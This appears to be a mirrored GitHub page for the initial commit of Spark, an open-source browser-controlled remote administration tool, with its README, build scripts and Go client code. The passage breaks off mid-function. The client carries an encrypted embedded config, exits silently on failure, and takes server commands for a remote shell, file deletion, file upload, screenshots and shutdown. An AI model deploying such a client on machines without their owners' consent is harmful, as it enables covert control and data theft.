mirror of
https://github.com/XZB-1248/Spark
synced 2025-10-04 15:52:41 +08:00
initial commit
This commit is contained in:
4
.gitignore
vendored
Normal file
4
.gitignore
vendored
Normal file
@@ -0,0 +1,4 @@
|
||||
/built
|
||||
/.idea
|
||||
/Config.json
|
||||
node_modules/
|
25
LICENSE
Normal file
25
LICENSE
Normal file
@@ -0,0 +1,25 @@
|
||||
BSD 2-Clause License
|
||||
|
||||
Copyright (c) 2022, XZB-1248
|
||||
All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without
|
||||
modification, are permitted provided that the following conditions are met:
|
||||
|
||||
1. Redistributions of source code must retain the above copyright notice, this
|
||||
list of conditions and the following disclaimer.
|
||||
|
||||
2. Redistributions in binary form must reproduce the above copyright notice,
|
||||
this list of conditions and the following disclaimer in the documentation
|
||||
and/or other materials provided with the distribution.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
|
||||
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
|
||||
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
|
||||
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
||||
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
|
||||
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
123
README.md
Normal file
123
README.md
Normal file
@@ -0,0 +1,123 @@
|
||||
<h1 align="center">Spark</h1>
|
||||
|
||||
**Spark** is a free, safe, open-source, web-based, cross-platform and full-featured RAT (Remote Administration Tool) that allow you control all your devices via browser anywhere.
|
||||
|
||||
---
|
||||
|
||||
## **Quick start**
|
||||
Only local installation are available yet.
|
||||
|
||||
<details>
|
||||
<summary>Local installation:</summary>
|
||||
|
||||
* Get prebuilt executable file from [Releases](https://github.com/XZB-1248/Spark/releases) page.
|
||||
* Modify configuration file and set your own salt.
|
||||
|
||||
```json
|
||||
{
|
||||
"listen": ":8000",
|
||||
"salt": "some random string",
|
||||
"auth": {
|
||||
"username": "password"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
* Run it and browser the address:port you've just set.
|
||||
* Generate client online and execute it on your device.
|
||||
* Now you can control your device.
|
||||
|
||||
</details>
|
||||
|
||||
---
|
||||
|
||||
## **Features**
|
||||
|
||||
| Feature/OS | Windows | Linux | MacOS |
|
||||
|-----------------| ------- | ----- | ----- |
|
||||
| Process manager | ✔ | ✔ | ✔ |
|
||||
| Kill process | ✔ | ✔ | ✔ |
|
||||
| File explorer | ✔ | ✔ | ✔ |
|
||||
| File transfer | ✔ | ✔ | ✔ |
|
||||
| Delete file | ✔ | ✔ | ✔ |
|
||||
| OS info | ✔ | ✔ | ✔ |
|
||||
| Shell | ✔ | ✔ | ✔ |
|
||||
| Screenshot | ✔ | ✔ | ✔ |
|
||||
| Shutdown | ✔ | ✔ | ❌ |
|
||||
| Reboot | ✔ | ✔ | ❌ |
|
||||
| Hibernate | ✔ | --- | ❌ |
|
||||
| Sleep | ✔ | --- | ❌ |
|
||||
| Log off | ✔ | ❌ | ❌ |
|
||||
| Lock screen | ✔ | ❌ | ❌ |
|
||||
|
||||
* Blank cell means the situation is not tested yet.
|
||||
|
||||
---
|
||||
|
||||
## **Development**
|
||||
|
||||
### note
|
||||
There are three components in this project, so you have to build them all.
|
||||
|
||||
Go to [Quick start](#quick-start) if you don't want to make yourself boring.
|
||||
* Client
|
||||
* Server
|
||||
* Front-end
|
||||
|
||||
If you want to make client support OS except linux and windows, you should install some additional C compiler.
|
||||
|
||||
For example, to support android, you have to install [Android NDK](https://developer.android.com/ndk/downloads).
|
||||
|
||||
### tutorial
|
||||
```bash
|
||||
# Clone this repository
|
||||
$ git clone https://github.com/XZB-1248/Spark
|
||||
|
||||
|
||||
$ cd ./Spark-master
|
||||
|
||||
|
||||
# Here we're going to build front-end pages.
|
||||
$ cd ./web
|
||||
# Install all dependencies and build.
|
||||
$ npm install
|
||||
$ npm run build-prod
|
||||
|
||||
|
||||
# Embed all static resouces into one single file by using statik.
|
||||
$ cd ..
|
||||
$ go install github.com/rakyll/statik
|
||||
$ statik -m -src="./web/dist" -f -dest="./server/embed" -p web -ns web
|
||||
|
||||
|
||||
# Now we should build client.
|
||||
$ mkdir ./built
|
||||
# Use this when you're using windows.
|
||||
$ ./build.client.bat
|
||||
|
||||
# When you're using unix-like OS, you can use this.
|
||||
$ ./build.client.sh
|
||||
|
||||
|
||||
# Finally we're compiling the server side.
|
||||
$ go build -ldflags "-s -w" -o Spark Spark/Server
|
||||
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Screenshots
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
---
|
||||
|
||||
## License
|
||||
|
||||
[MPL-2.0 License](./LICENSE)
|
56
build.client.bat
Normal file
56
build.client.bat
Normal file
@@ -0,0 +1,56 @@
|
||||
set GO111MODULE=auto
|
||||
|
||||
|
||||
|
||||
set GOOS=linux
|
||||
|
||||
set GOARCH=arm
|
||||
go build -ldflags "-s -w" -o ./built/linux_arm Spark/Client
|
||||
set GOARCH=arm64
|
||||
go build -ldflags "-s -w" -o ./built/linux_arm64 Spark/Client
|
||||
set GOARCH=386
|
||||
go build -ldflags "-s -w" -o ./built/linux_i386 Spark/Client
|
||||
set GOARCH=amd64
|
||||
go build -ldflags "-s -w" -o ./built/linux_amd64 Spark/Client
|
||||
|
||||
|
||||
|
||||
set GOOS=windows
|
||||
|
||||
set GOARCH=arm
|
||||
go build -ldflags "-s -w" -o ./built/windows_arm Spark/Client
|
||||
set GOARCH=arm64
|
||||
go build -ldflags "-s -w" -o ./built/windows_arm64 Spark/Client
|
||||
set GOARCH=386
|
||||
go build -ldflags "-s -w" -o ./built/windows_i386 Spark/Client
|
||||
set GOARCH=amd64
|
||||
go build -ldflags "-s -w" -o ./built/windows_amd64 Spark/Client
|
||||
|
||||
|
||||
|
||||
@REM set GOOS=android
|
||||
@REM set CGO_ENABLED=1
|
||||
|
||||
@REM set GOARCH=arm
|
||||
@REM set CC=armv7a-linux-androideabi21-clang
|
||||
@REM set CXX=armv7a-linux-androideabi21-clang++
|
||||
@REM go build -ldflags "-s -w" -o ./built/android_armv7a Spark/Client
|
||||
|
||||
@REM set GOARCH=arm64
|
||||
@REM set CC=aarch64-linux-android21-clang
|
||||
@REM set CXX=aarch64-linux-android21-clang++
|
||||
@REM go build -ldflags "-s -w" -o ./built/android_aarch64 Spark/Client
|
||||
|
||||
@REM set GOARCH=386
|
||||
@REM set CC=i686-linux-android21-clang
|
||||
@REM set CXX=i686-linux-android21-clang++
|
||||
@REM go build -ldflags "-s -w" -o ./built/android_i686 Spark/Client
|
||||
|
||||
@REM set GOARCH=amd64
|
||||
@REM set CC=x86_64-linux-android21-clang
|
||||
@REM set CXX=x86_64-linux-android21-clang++
|
||||
@REM go build -ldflags "-s -w" -o ./built/android_x86_64 Spark/Client
|
||||
|
||||
|
||||
|
||||
statik -m -src="./built" -f -dest="./server/embed" -include=* -p built -ns built
|
56
build.client.sh
Normal file
56
build.client.sh
Normal file
@@ -0,0 +1,56 @@
|
||||
export GO111MODULE=auto
|
||||
|
||||
|
||||
|
||||
export GOOS=linux
|
||||
|
||||
export GOARCH=arm
|
||||
go build -ldflags "-s -w" -o ./built/linux_arm Spark/Client
|
||||
export GOARCH=arm64
|
||||
go build -ldflags "-s -w" -o ./built/linux_arm64 Spark/Client
|
||||
export GOARCH=386
|
||||
go build -ldflags "-s -w" -o ./built/linux_i386 Spark/Client
|
||||
export GOARCH=amd64
|
||||
go build -ldflags "-s -w" -o ./built/linux_amd64 Spark/Client
|
||||
|
||||
|
||||
|
||||
export GOOS=windows
|
||||
|
||||
export GOARCH=arm
|
||||
go build -ldflags "-s -w" -o ./built/windows_arm Spark/Client
|
||||
export GOARCH=arm64
|
||||
go build -ldflags "-s -w" -o ./built/windows_arm64 Spark/Client
|
||||
export GOARCH=386
|
||||
go build -ldflags "-s -w" -o ./built/windows_i386 Spark/Client
|
||||
export GOARCH=amd64
|
||||
go build -ldflags "-s -w" -o ./built/windows_amd64 Spark/Client
|
||||
|
||||
|
||||
|
||||
# export GOOS=android
|
||||
# export CGO_ENABLED=1
|
||||
|
||||
# export GOARCH=arm
|
||||
# export CC=armv7a-linux-androideabi21-clang
|
||||
# export CXX=armv7a-linux-androideabi21-clang++
|
||||
# go build -ldflags "-s -w" -o ./built/android_armv7a Spark/Client
|
||||
|
||||
# export GOARCH=arm64
|
||||
# export CC=aarch64-linux-android21-clang
|
||||
# export CXX=aarch64-linux-android21-clang++
|
||||
# go build -ldflags "-s -w" -o ./built/android_aarch64 Spark/Client
|
||||
|
||||
# export GOARCH=386
|
||||
# export CC=i686-linux-android21-clang
|
||||
# export CXX=i686-linux-android21-clang++
|
||||
# go build -ldflags "-s -w" -o ./built/android_i686 Spark/Client
|
||||
|
||||
# export GOARCH=amd64
|
||||
# export CC=x86_64-linux-android21-clang
|
||||
# export CXX=x86_64-linux-android21-clang++
|
||||
# go build -ldflags "-s -w" -o ./built/android_x86_64 Spark/Client
|
||||
|
||||
|
||||
|
||||
statik -m -src="./built" -f -dest="./server/embed" -include=* -p built -ns built
|
5
build.server.bat
Normal file
5
build.server.bat
Normal file
@@ -0,0 +1,5 @@
|
||||
set GOOS=linux
|
||||
set GOARCH=amd64
|
||||
statik -m -src="./web/dist" -f -dest="./server/embed" -p web -ns web
|
||||
go build -ldflags "-s -w" -o Spark Spark/Server
|
||||
@REM D:\TinyTools\UPX.exe -9 -v D:\WorkSpace\Web\Lab\Spark\Spark
|
73
client/client.go
Normal file
73
client/client.go
Normal file
@@ -0,0 +1,73 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"Spark/client/config"
|
||||
"Spark/client/core"
|
||||
"Spark/utils"
|
||||
"bytes"
|
||||
"crypto/aes"
|
||||
"crypto/cipher"
|
||||
"math/big"
|
||||
"os"
|
||||
"strings"
|
||||
|
||||
"github.com/kataras/golog"
|
||||
)
|
||||
|
||||
// localhost
|
||||
var cfgBuffer = "\x00\xcd\x90\x50\x43\xfc\x3d\x36\x56\x6d\xf6\x01\xd1\xcd\x81\xc3\x1b\x80\xc9\x61\xd8\xdf\x5b\x76\x48\x88\xc5\xb1\x74\x22\x23\xab\x3b\xfc\x8b\xbe\x98\x27\xed\x05\xec\xbb\x40\x4f\xe9\xe7\xe5\xe0\x84\xaa\xb7\xfd\x4a\x30\x71\x08\x6c\x02\x50\xe9\xc5\x22\xcf\xcb\x89\x16\x0a\x89\x08\xd4\x26\xdc\x5c\xc1\xc9\xbf\xc4\xac\x0d\x92\x2f\x34\x7f\x45\xeb\x55\xa0\x6d\xf6\x64\xbc\xd5\x15\x40\x96\x43\x64\xe0\x24\x51\xfb\xe8\xc9\x7f\x48\x60\xcd\x30\x5e\x5e\x78\xba\xb6\x6f\x07\x64\xe8\x59\x81\x0b\x91\x13\x92\x1a\xdd\x49\x8f\x28\xe7\x74\xea\xff\x5b\x45\x0e\x4a\x2d\x60\x4e\xc9\xde\x9c\xbe\x50\xc6\x12\xc7\x45\xa2\x15\xa0\x58\x62\x45\x86\x74\x9f\xa5\x14\x5c\x17\x8a\xcc\x56\x73\xa7\x75\xb7\xf6\x6d\x52\x0f\xb8\xc1\xff\x9c\x39\x39\x00\x74\xe1\x4d\x65\x73\x9c\x02\x57\x8b\xcf\xdf\x0a\x20\x4c\xed\xe2\x25\xea\x01\x36\x12\x37\x12\x2e\x1a\x03\x41\x19\x2e\xc9\xdd\x71\xac\x73\x90\xfa\x5e\x60\x08\x43\x35\xef\x61\x45\xf9\xe3\xba\xcb\xb1\xc5\x7c\xf0\x11\xcd\x47\x57\x53\xdc\x35\x6b\x9f\xac\xad\x43\x4a\xc7\x54\x20\xb8\xd0\xf8\xb5\x0c\x45\x76\x57\xb9\xee\x4a\x3f\xd2\xda\xf7\x94\x54\x74\xf3\x91\xf3\x4d\x49\x98\xc6\xf8\x60\x80\xad\x84\x04\xef\x35\xca\x3a\xcf\xd3\x7e\x74\xc2\x4b\xb8\xb3\x9f\xb2\x83\xb8\xbd\x29\x13\x9f\x2b\xaa\x60\x47\x24\x7e\x20\xb2\x85\xdc\x47\xfe\x8f\x68\xb6\xc3\x43\xad\x61\x3d\x9b\x35\x60\x2e\x6c\x44\xf0\xaf\xb2\xf3\xdb\xe2\x1b\x8a\xec\x0a\x48\x5e\x43\xa9\xb3\x3a\x5e\xb6\x90\xa9\x3d\xee\x4f\xa1\x57\x7c\x94\xf4\xb1\x36\xda\x04\xa8\x5e\x48\x2a\xc3\xa1\xf0\x97\xf0\xe0\x10\x46\x32\x10\xe5\xd8\x36\x5a\x56\xa5\xbb\x37\x3c\x9f\xbd\xef\xf5\x2f"
|
||||
|
||||
// none
|
||||
//var cfgBuffer = "\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19"
|
||||
|
||||
func init() {
|
||||
golog.SetTimeFormat(`2006/01/02 15:04:05`)
|
||||
|
||||
if len(strings.Trim(cfgBuffer, "\x19")) == 0 {
|
||||
os.Exit(0)
|
||||
return
|
||||
}
|
||||
dataLen := int(big.NewInt(0).SetBytes([]byte(cfgBuffer[:2])).Uint64())
|
||||
if dataLen > len(cfgBuffer)-2 {
|
||||
os.Exit(0)
|
||||
return
|
||||
}
|
||||
cfgBytes := []byte(cfgBuffer[2 : 2+dataLen])
|
||||
cfgBytes, err := decrypt(cfgBytes[16:], cfgBytes[:16])
|
||||
if err != nil {
|
||||
os.Exit(0)
|
||||
return
|
||||
}
|
||||
err = utils.JSON.Unmarshal(cfgBytes, &config.Config)
|
||||
if err != nil {
|
||||
os.Exit(0)
|
||||
return
|
||||
}
|
||||
if strings.HasSuffix(config.Config.Path, `/`) {
|
||||
config.Config.Path = config.Config.Path[:len(config.Config.Path)-1]
|
||||
}
|
||||
}
|
||||
|
||||
func main() {
|
||||
core.Start()
|
||||
}
|
||||
|
||||
func decrypt(data []byte, key []byte) ([]byte, error) {
|
||||
// MD5[16 bytes] + Data[n bytes]
|
||||
dataLen := len(data)
|
||||
if dataLen <= 16 {
|
||||
return nil, utils.ErrEntityInvalid
|
||||
}
|
||||
block, err := aes.NewCipher(key)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
stream := cipher.NewCTR(block, data[:16])
|
||||
decBuffer := make([]byte, dataLen-16)
|
||||
stream.XORKeyStream(decBuffer, data[16:])
|
||||
hash, _ := utils.GetMD5(decBuffer)
|
||||
if !bytes.Equal(hash, data[:16]) {
|
||||
return nil, utils.ErrFailedVerification
|
||||
}
|
||||
return decBuffer[:dataLen-16], nil
|
||||
}
|
59
client/common/common.go
Normal file
59
client/common/common.go
Normal file
@@ -0,0 +1,59 @@
|
||||
package common
|
||||
|
||||
import (
|
||||
"Spark/client/config"
|
||||
"Spark/modules"
|
||||
"Spark/utils"
|
||||
"encoding/hex"
|
||||
ws "github.com/gorilla/websocket"
|
||||
"github.com/imroc/req/v3"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
type Conn struct {
|
||||
*ws.Conn
|
||||
Secret []byte
|
||||
}
|
||||
|
||||
var WSConn *Conn
|
||||
var lock = sync.Mutex{}
|
||||
|
||||
func SendPack(pack interface{}, wsConn *Conn) error {
|
||||
lock.Lock()
|
||||
defer lock.Unlock()
|
||||
data, err := utils.JSON.Marshal(pack)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
data, err = utils.Encrypt(data, wsConn.Secret)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if len(data) > 1024 {
|
||||
_, err = req.C().R().
|
||||
SetBody(data).
|
||||
SetHeader(`Secret`, hex.EncodeToString(wsConn.Secret)).
|
||||
Send(`POST`, config.GetBaseURL(false)+`/ws`)
|
||||
return err
|
||||
}
|
||||
wsConn.SetWriteDeadline(time.Now().Add(5 * time.Second))
|
||||
defer wsConn.SetWriteDeadline(time.Time{})
|
||||
return wsConn.WriteMessage(ws.BinaryMessage, data)
|
||||
}
|
||||
|
||||
func SendCb(pack, prev modules.Packet, wsConn *Conn) error {
|
||||
if prev.Data != nil {
|
||||
trigger, ok := prev.Data[`event`]
|
||||
if ok {
|
||||
if pack.Data == nil {
|
||||
pack.Data = map[string]interface{}{
|
||||
`callback`: trigger,
|
||||
}
|
||||
} else {
|
||||
pack.Data[`callback`] = trigger
|
||||
}
|
||||
}
|
||||
}
|
||||
return SendPack(pack, wsConn)
|
||||
}
|
38
client/config/config.go
Normal file
38
client/config/config.go
Normal file
@@ -0,0 +1,38 @@
|
||||
package config
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"net/url"
|
||||
)
|
||||
|
||||
type Cfg struct {
|
||||
Secure bool `json:"secure"`
|
||||
Host string `json:"host"`
|
||||
Port int `json:"port"`
|
||||
Path string `json:"path"`
|
||||
UUID string `json:"uuid"`
|
||||
Key string `json:"key"`
|
||||
}
|
||||
|
||||
var Config Cfg
|
||||
|
||||
func GetBaseURL(ws bool) string {
|
||||
baseUrl := url.URL{
|
||||
Host: fmt.Sprintf(`%v:%v`, Config.Host, Config.Port),
|
||||
Path: Config.Path,
|
||||
}
|
||||
if ws {
|
||||
if Config.Secure {
|
||||
baseUrl.Scheme = `wss`
|
||||
} else {
|
||||
baseUrl.Scheme = `ws`
|
||||
}
|
||||
} else {
|
||||
if Config.Secure {
|
||||
baseUrl.Scheme = `https`
|
||||
} else {
|
||||
baseUrl.Scheme = `http`
|
||||
}
|
||||
}
|
||||
return baseUrl.String()
|
||||
}
|
329
client/core/core.go
Normal file
329
client/core/core.go
Normal file
@@ -0,0 +1,329 @@
|
||||
package core
|
||||
|
||||
import (
|
||||
"Spark/client/common"
|
||||
"Spark/client/config"
|
||||
"Spark/client/service/basic"
|
||||
"Spark/client/service/file"
|
||||
"Spark/client/service/process"
|
||||
"Spark/client/service/screenshot"
|
||||
"Spark/client/service/terminal"
|
||||
"Spark/modules"
|
||||
"Spark/utils"
|
||||
"encoding/hex"
|
||||
"errors"
|
||||
ws "github.com/gorilla/websocket"
|
||||
"github.com/kataras/golog"
|
||||
"net/http"
|
||||
"os"
|
||||
"strconv"
|
||||
"time"
|
||||
)
|
||||
|
||||
var stop bool
|
||||
var (
|
||||
errNoSecretHeader = errors.New(`can not find secret header`)
|
||||
)
|
||||
|
||||
func Start() {
|
||||
for !stop {
|
||||
var err error
|
||||
common.WSConn, err = connectWS()
|
||||
if err != nil && !stop {
|
||||
golog.Error(err)
|
||||
<-time.After(5 * time.Second)
|
||||
continue
|
||||
}
|
||||
|
||||
err = reportWS(common.WSConn)
|
||||
if err != nil && !stop {
|
||||
golog.Error(err)
|
||||
<-time.After(5 * time.Second)
|
||||
continue
|
||||
}
|
||||
|
||||
go heartbeat(common.WSConn)
|
||||
|
||||
err = handleWS(common.WSConn)
|
||||
if err != nil && !stop {
|
||||
golog.Error(err)
|
||||
<-time.After(5 * time.Second)
|
||||
continue
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func connectWS() (*common.Conn, error) {
|
||||
wsConn, wsResp, err := ws.DefaultDialer.Dial(config.GetBaseURL(true)+`/ws`, http.Header{
|
||||
`UUID`: []string{config.Config.UUID},
|
||||
`Key`: []string{config.Config.Key},
|
||||
})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
header, find := wsResp.Header[`Secret`]
|
||||
if !find || len(header) == 0 {
|
||||
return nil, errNoSecretHeader
|
||||
}
|
||||
secret, err := hex.DecodeString(header[0])
|
||||
return &common.Conn{Conn: wsConn, Secret: secret}, nil
|
||||
}
|
||||
|
||||
func reportWS(wsConn *common.Conn) error {
|
||||
device, err := GetDevice()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
pack := modules.CommonPack{Act: `report`, Data: device}
|
||||
err = common.SendPack(pack, wsConn)
|
||||
common.WSConn.SetWriteDeadline(time.Time{})
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
common.WSConn.SetReadDeadline(time.Now().Add(5 * time.Second))
|
||||
_, data, err := common.WSConn.ReadMessage()
|
||||
common.WSConn.SetReadDeadline(time.Time{})
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
data, err = utils.Decrypt(data, common.WSConn.Secret)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
err = utils.JSON.Unmarshal(data, &pack)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if pack.Code != 0 {
|
||||
return errors.New(`unknown error occurred`)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func handleWS(wsConn *common.Conn) error {
|
||||
errCount := 0
|
||||
for {
|
||||
_, data, err := wsConn.ReadMessage()
|
||||
if err != nil {
|
||||
golog.Error(err)
|
||||
wsConn.Close()
|
||||
return nil
|
||||
}
|
||||
data, err = utils.Decrypt(data, wsConn.Secret)
|
||||
if err != nil {
|
||||
golog.Error(err)
|
||||
errCount++
|
||||
if errCount > 3 {
|
||||
break
|
||||
}
|
||||
continue
|
||||
}
|
||||
pack := modules.Packet{}
|
||||
utils.JSON.Unmarshal(data, &pack)
|
||||
if err != nil {
|
||||
golog.Error(err)
|
||||
errCount++
|
||||
if errCount > 3 {
|
||||
break
|
||||
}
|
||||
continue
|
||||
}
|
||||
errCount = 0
|
||||
if pack.Data == nil {
|
||||
pack.Data = map[string]interface{}{}
|
||||
}
|
||||
go handleAct(pack, wsConn)
|
||||
}
|
||||
wsConn.Close()
|
||||
return nil
|
||||
}
|
||||
|
||||
func handleAct(pack modules.Packet, wsConn *common.Conn) {
|
||||
switch pack.Act {
|
||||
case `offline`:
|
||||
common.SendCb(modules.Packet{Code: 0}, pack, wsConn)
|
||||
stop = true
|
||||
wsConn.Close()
|
||||
os.Exit(0)
|
||||
return
|
||||
case `lock`:
|
||||
err := basic.Lock()
|
||||
if err != nil {
|
||||
common.SendCb(modules.Packet{Code: 1, Msg: err.Error()}, pack, wsConn)
|
||||
} else {
|
||||
common.SendCb(modules.Packet{Code: 0}, pack, wsConn)
|
||||
}
|
||||
case `logoff`:
|
||||
err := basic.Logoff()
|
||||
if err != nil {
|
||||
common.SendCb(modules.Packet{Code: 1, Msg: err.Error()}, pack, wsConn)
|
||||
} else {
|
||||
common.SendCb(modules.Packet{Code: 0}, pack, wsConn)
|
||||
}
|
||||
case `hibernate`:
|
||||
err := basic.Hibernate()
|
||||
if err != nil {
|
||||
common.SendCb(modules.Packet{Code: 1, Msg: err.Error()}, pack, wsConn)
|
||||
} else {
|
||||
common.SendCb(modules.Packet{Code: 0}, pack, wsConn)
|
||||
}
|
||||
case `suspend`:
|
||||
err := basic.Suspend()
|
||||
if err != nil {
|
||||
common.SendCb(modules.Packet{Code: 1, Msg: err.Error()}, pack, wsConn)
|
||||
} else {
|
||||
common.SendCb(modules.Packet{Code: 0}, pack, wsConn)
|
||||
}
|
||||
case `restart`:
|
||||
err := basic.Restart()
|
||||
if err != nil {
|
||||
common.SendCb(modules.Packet{Code: 1, Msg: err.Error()}, pack, wsConn)
|
||||
} else {
|
||||
common.SendCb(modules.Packet{Code: 0}, pack, wsConn)
|
||||
}
|
||||
case `shutdown`:
|
||||
err := basic.Shutdown()
|
||||
if err != nil {
|
||||
common.SendCb(modules.Packet{Code: 1, Msg: err.Error()}, pack, wsConn)
|
||||
} else {
|
||||
common.SendCb(modules.Packet{Code: 0}, pack, wsConn)
|
||||
}
|
||||
case `screenshot`:
|
||||
if pack.Data != nil {
|
||||
if trigger, ok := pack.Data[`event`]; ok {
|
||||
screenshot.GetScreenshot(trigger.(string))
|
||||
}
|
||||
}
|
||||
case `initTerminal`:
|
||||
err := terminal.InitTerminal(pack)
|
||||
if err != nil {
|
||||
common.SendCb(modules.Packet{Act: `initTerminal`, Code: 1, Msg: err.Error()}, pack, wsConn)
|
||||
}
|
||||
break
|
||||
case `inputTerminal`:
|
||||
terminal.InputTerminal(pack)
|
||||
break
|
||||
case `killTerminal`:
|
||||
terminal.KillTerminal(pack)
|
||||
break
|
||||
case `listFiles`:
|
||||
path := `/`
|
||||
if val, ok := pack.Data[`path`]; ok {
|
||||
if path, ok = val.(string); !ok {
|
||||
path = `/`
|
||||
}
|
||||
}
|
||||
files, err := file.ListFiles(path)
|
||||
if err != nil {
|
||||
common.SendCb(modules.Packet{Code: 1, Msg: err.Error()}, pack, wsConn)
|
||||
} else {
|
||||
common.SendCb(modules.Packet{Code: 0, Data: map[string]interface{}{`files`: files}}, pack, wsConn)
|
||||
}
|
||||
case `removeFile`:
|
||||
path, ok := pack.Data[`path`]
|
||||
if !ok {
|
||||
common.SendCb(modules.Packet{Code: 1, Msg: `can not find such a file or directory`}, pack, wsConn)
|
||||
return
|
||||
}
|
||||
if path == `\` || path == `/` || len(path.(string)) == 0 {
|
||||
common.SendCb(modules.Packet{Code: 1, Msg: `can not find such a file or directory`}, pack, wsConn)
|
||||
return
|
||||
}
|
||||
err := os.RemoveAll(path.(string))
|
||||
if err != nil {
|
||||
common.SendCb(modules.Packet{Code: 1, Msg: err.Error()}, pack, wsConn)
|
||||
} else {
|
||||
common.SendCb(modules.Packet{Code: 0}, pack, wsConn)
|
||||
}
|
||||
case `uploadFile`:
|
||||
var path, trigger string
|
||||
var start, end int64
|
||||
{
|
||||
tempVal, ok := pack.Data[`file`]
|
||||
if !ok {
|
||||
common.SendCb(modules.Packet{Code: 1, Msg: `未知错误`}, pack, wsConn)
|
||||
return
|
||||
}
|
||||
if path, ok = tempVal.(string); !ok {
|
||||
common.SendCb(modules.Packet{Code: 1, Msg: `未知错误`}, pack, wsConn)
|
||||
return
|
||||
}
|
||||
tempVal, ok = pack.Data[`event`]
|
||||
if !ok {
|
||||
common.SendCb(modules.Packet{Code: 1, Msg: `未知错误`}, pack, wsConn)
|
||||
return
|
||||
}
|
||||
if trigger, ok = tempVal.(string); !ok {
|
||||
common.SendCb(modules.Packet{Code: 1, Msg: `未知错误`}, pack, wsConn)
|
||||
return
|
||||
}
|
||||
tempVal, ok = pack.Data[`start`]
|
||||
if ok {
|
||||
if v, ok := tempVal.(float64); ok {
|
||||
start = int64(v)
|
||||
}
|
||||
}
|
||||
tempVal, ok = pack.Data[`end`]
|
||||
if ok {
|
||||
if v, ok := tempVal.(float64); ok {
|
||||
end = int64(v)
|
||||
if end > 0 {
|
||||
end++
|
||||
}
|
||||
}
|
||||
}
|
||||
if end > 0 && end < start {
|
||||
common.SendCb(modules.Packet{Code: 1, Msg: `文件范围错误`}, pack, wsConn)
|
||||
return
|
||||
}
|
||||
}
|
||||
err := file.UploadFile(path, trigger, start, end)
|
||||
if err != nil {
|
||||
common.SendCb(modules.Packet{Code: 1, Msg: err.Error()}, pack, wsConn)
|
||||
}
|
||||
case `listProcesses`:
|
||||
processes, err := process.ListProcesses()
|
||||
if err != nil {
|
||||
